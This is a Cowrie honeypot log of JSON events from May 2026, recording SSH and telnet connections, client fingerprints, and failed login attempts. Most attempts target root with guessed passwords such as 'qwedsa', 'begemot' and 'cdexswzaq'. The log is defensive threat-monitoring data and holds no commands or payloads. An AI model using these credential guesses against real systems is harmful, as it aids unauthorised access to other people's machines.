{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:35.356240Z","src_ip":"80.94.92.184","session":"1b376e6bed3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedsa","message":"login attempt [root/qwedsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:35.598266Z","src_ip":"103.77.175.15","session":"fb0f53cae379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:36.853259Z","src_ip":"103.77.175.15","session":"fb0f53cae379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46918,"dst_ip":"10.17.0.5","dst_port":22,"session":"164ad7a1f3ef","protocol":"ssh","message":"New connection: 147.45.199.80:46918 (10.17.0.5:22) [session: 164ad7a1f3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:37.234040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:37.238449Z","src_ip":"147.45.199.80","session":"164ad7a1f3ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:37.337517Z","src_ip":"147.45.199.80","session":"164ad7a1f3ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:37.633929Z","src_ip":"147.45.199.80","session":"164ad7a1f3ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:38.172475Z","src_ip":"80.94.92.184","session":"1b376e6bed3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:38.734621Z","src_ip":"147.45.199.80","session":"164ad7a1f3ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:39.421505Z","src_ip":"80.94.92.184","session":"1b376e6bed3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.373760223388672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:39.969080Z","src_ip":"50.6.8.71","session":"a733e7155f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":41410,"dst_ip":"159.203.135.109","dst_port":22,"session":"558020be8730","protocol":"ssh","message":"New connection: 103.27.238.116:41410 (159.203.135.109:22) [session: 558020be8730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:46.865547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:46.870283Z","src_ip":"103.27.238.116","session":"558020be8730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:47.152336Z","src_ip":"103.27.238.116","session":"558020be8730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47964,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b485b948ec","protocol":"telnet","message":"New connection: 50.6.8.71:47964 (10.17.0.5:23) [session: 53b485b948ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:47.252606Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cdexswzaq","message":"login attempt [root/cdexswzaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:47.988954Z","src_ip":"103.27.238.116","session":"558020be8730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53824,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b49158e6bac","protocol":"ssh","message":"New connection: 103.149.28.157:53824 (159.203.135.109:22) [session: 7b49158e6bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:48.522360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:48.527730Z","src_ip":"103.149.28.157","session":"7b49158e6bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:48.775938Z","src_ip":"103.149.28.157","session":"7b49158e6bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:49.270455Z","src_ip":"103.27.238.116","session":"558020be8730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monster","message":"login attempt [root/monster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:49.521497Z","src_ip":"103.149.28.157","session":"7b49158e6bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:50.771518Z","src_ip":"103.149.28.157","session":"7b49158e6bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":45880,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fea8a65ab1d","protocol":"ssh","message":"New connection: 87.106.29.151:45880 (159.203.135.109:22) [session: 5fea8a65ab1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:54.785232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:54.790002Z","src_ip":"87.106.29.151","session":"5fea8a65ab1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:54.886121Z","src_ip":"87.106.29.151","session":"5fea8a65ab1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"`1qaz2wsx","message":"login attempt [root/`1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:55.290366Z","src_ip":"87.106.29.151","session":"5fea8a65ab1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:56.386209Z","src_ip":"87.106.29.151","session":"5fea8a65ab1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47980,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d7f46bcc3f4","protocol":"telnet","message":"New connection: 50.6.8.71:47980 (10.17.0.5:23) [session: 9d7f46bcc3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:38:56.853169Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":37200,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ddd34132921","protocol":"ssh","message":"New connection: 103.27.238.118:37200 (159.203.135.109:22) [session: 5ddd34132921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:00.375618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:00.381153Z","src_ip":"103.27.238.118","session":"5ddd34132921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:00.640589Z","src_ip":"103.27.238.118","session":"5ddd34132921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"begemot","message":"login attempt [root/begemot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:01.422453Z","src_ip":"103.27.238.118","session":"5ddd34132921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:02.694642Z","src_ip":"103.27.238.118","session":"5ddd34132921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.18112516403198,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:04.305897Z","src_ip":"50.6.8.71","session":"ee1e95eb9a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.528038024902344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:05.713367Z","src_ip":"50.6.8.71","session":"9c03ce999df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":58646,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ef74d476748","protocol":"ssh","message":"New connection: 62.133.63.206:58646 (159.203.135.109:22) [session: 1ef74d476748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:10.700904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:10.705154Z","src_ip":"62.133.63.206","session":"1ef74d476748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:10.831385Z","src_ip":"62.133.63.206","session":"1ef74d476748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:11.210745Z","src_ip":"62.133.63.206","session":"1ef74d476748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:12.341516Z","src_ip":"62.133.63.206","session":"1ef74d476748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":46104,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e167f315aa","protocol":"ssh","message":"New connection: 103.75.71.22:46104 (10.17.0.5:22) [session: 92e167f315aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:17.802468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:17.818113Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:39:17.953024Z","src_ip":"103.75.71.22","session":"92e167f315aa","protocol":"ssh"}
